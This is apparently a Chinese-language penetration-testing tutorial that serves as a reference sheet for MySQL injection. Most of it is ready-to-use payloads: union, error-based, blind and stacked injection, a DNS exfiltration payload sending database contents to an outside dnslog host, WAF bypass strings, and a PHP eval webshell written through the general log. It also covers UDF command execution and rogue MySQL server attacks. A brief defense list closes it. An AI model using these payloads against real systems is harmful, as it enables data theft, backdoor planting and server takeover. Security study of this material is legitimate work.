珂技系列之一篇就够了——mysql注入
字数 1018 2025-08-15 21:33:30
MySQL注入全面指南
一、SQL注入基础
1. SQL注入定义与危害
- 定义:通过恶意参数拼接SQL语句,使攻击者可以操作数据库
- 产生原因:前后端分离架构中,前端参数直接拼接在SQL语句中
- 危害:获取敏感数据、命令执行、数据库提权等
2. 基本注入示例
原始SQL:select * from news where id = $id
注入示例:http://127.0.0.1/news.php?id=1 and 1=1
实际执行:select * from news where id = 1 and 1=1
二、SQL注入分类
1. 按回显方式分类
(1) 联合注入(Union Injection)
- 使用
union select联合查询 - 典型流程:
1. 确定列数:id=1 order by 4 2. 确定显位:id=-1 union select 1,2,3,4 3. 获取数据:id=-1 union select user(),2,3,4 - 数据获取方法:
获取数据库名:database() 获取所有库:group_concat(schema_name) from information_schema.schemata 获取表名:group_concat(table_name) from information_schema.tables where table_schema=database() 获取列名:group_concat(column_name) from information_schema.columns where table_name='user' 获取数据:group_concat(password) from user
(2) 报错注入(Error-based Injection)
- 利用函数处理不合规数据引发报错
- 常用函数:
1. updatexml(): id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) 2. extractvalue(): id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) 3. exp(): id=1 and exp(~(select * from(select user())a)) 4. 几何函数:geometrycollection(), multipoint(), polygon()等
(3) 盲注(Blind Injection)
- 布尔盲注:通过页面回显差异判断
id=1 and 1=1 id=1 and substr((select user()),1,1)='r' - 时间盲注:通过响应时间判断
id=1 and if((substr((select user()),1,1)='r'),sleep(2),1) - DNSLog盲注:通过DNS查询外带数据
id=2 and 1=(select load_file(concat('\\\\',hex(database()),'.dnslog.cn\\test')))
(4) 堆叠注入(Stacked Injection)
- 使用分号执行多条SQL语句
id=1;select user(); - 危害极大,相当于直接操作数据库
2. 按参数类型分类
- 数字型:无需单引号
id=1 and 1=1 - 字符型:需要逃逸单引号
id=a'and 1=1 and 'q'='q
3. 按SQL拼接位置分类
- WHERE注入:最常见
- ORDER BY注入:
select * from user order by sleep(2) - LIMIT注入:
select * from user limit 1 into outfile 'D://1.txt' - VALUES注入:
insert into log(log) VALUES('test' or sleep(5))
三、高级注入技术
1. 宽字节注入
- 利用GBK编码绕过addslashes()
%df%27 → 经过addslashes → %df%5c%27 → GBK解码 → 单引号逃逸
2. 二次注入
- 利用存储的未过滤参数进行注入
- 示例:注册用户名为
admin' #,后续修改密码时触发
四、MySQL实用技巧
1. 信息获取函数
system_user() //系统用户名
user() //用户名
database() //数据库名
version() //MySQL版本
@@datadir //数据库路径
@@basedir //安装路径
2. 空白符与注释
- 空白符:
%09 %0A %0B %0C %0D %A0 - 注释:
# 单行注释 -- 单行注释 /* 多行注释 */ /*!50000 版本特定注释 */
3. 运算符替代
and → &&
or → ||
xor → ^
not → !
4. 文件操作
- 导出文件:
select 1 into outfile 'D://1.php' - 读取文件:
select load_file('D://1.php')
5. 高版本技巧
- MySQL 5.7+使用sys库:
SELECT table_schema FROM sys.schema_table_statistics - MySQL 8.0.21+:
(table information_schema.TABLESPACES_EXTENSIONS limit 0,1)
五、WAF绕过技术
1. 安全狗绕过
- 内联注释绕过:
/*!11440order/by 1 - 空白符混淆:
database/11441union*/-- /*%0Aselect/**/database/**/()
2. D盾绕过
- 长参数绕过:
id=AAAAAAAA...AAAAA%27
六、高级攻击技术
1. 日志写入Shell
set global general_log=on;
set global general_log_file='D://x.php';
select "<?php eval($_POST['x']) ?>";
2. UDF提权
create function cmdshell returns string soname 'udf.dll';
select cmdshell('whoami');
3. 恶意MySQL服务器
- 任意文件读取:伪造MySQL服务器读取客户端文件
- Java反序列化:利用JDBC连接触发反序列化漏洞
七、防御建议
- 使用预编译语句(Prepared Statements)
- 严格过滤输入参数
- 最小权限原则配置数据库账户
- 关闭错误回显
- 定期更新和修补数据库系统
本指南涵盖了MySQL注入的绝大多数技术点,从基础到高级技巧,以及实际绕过WAF的方法,可作为渗透测试和安全研究的参考手册。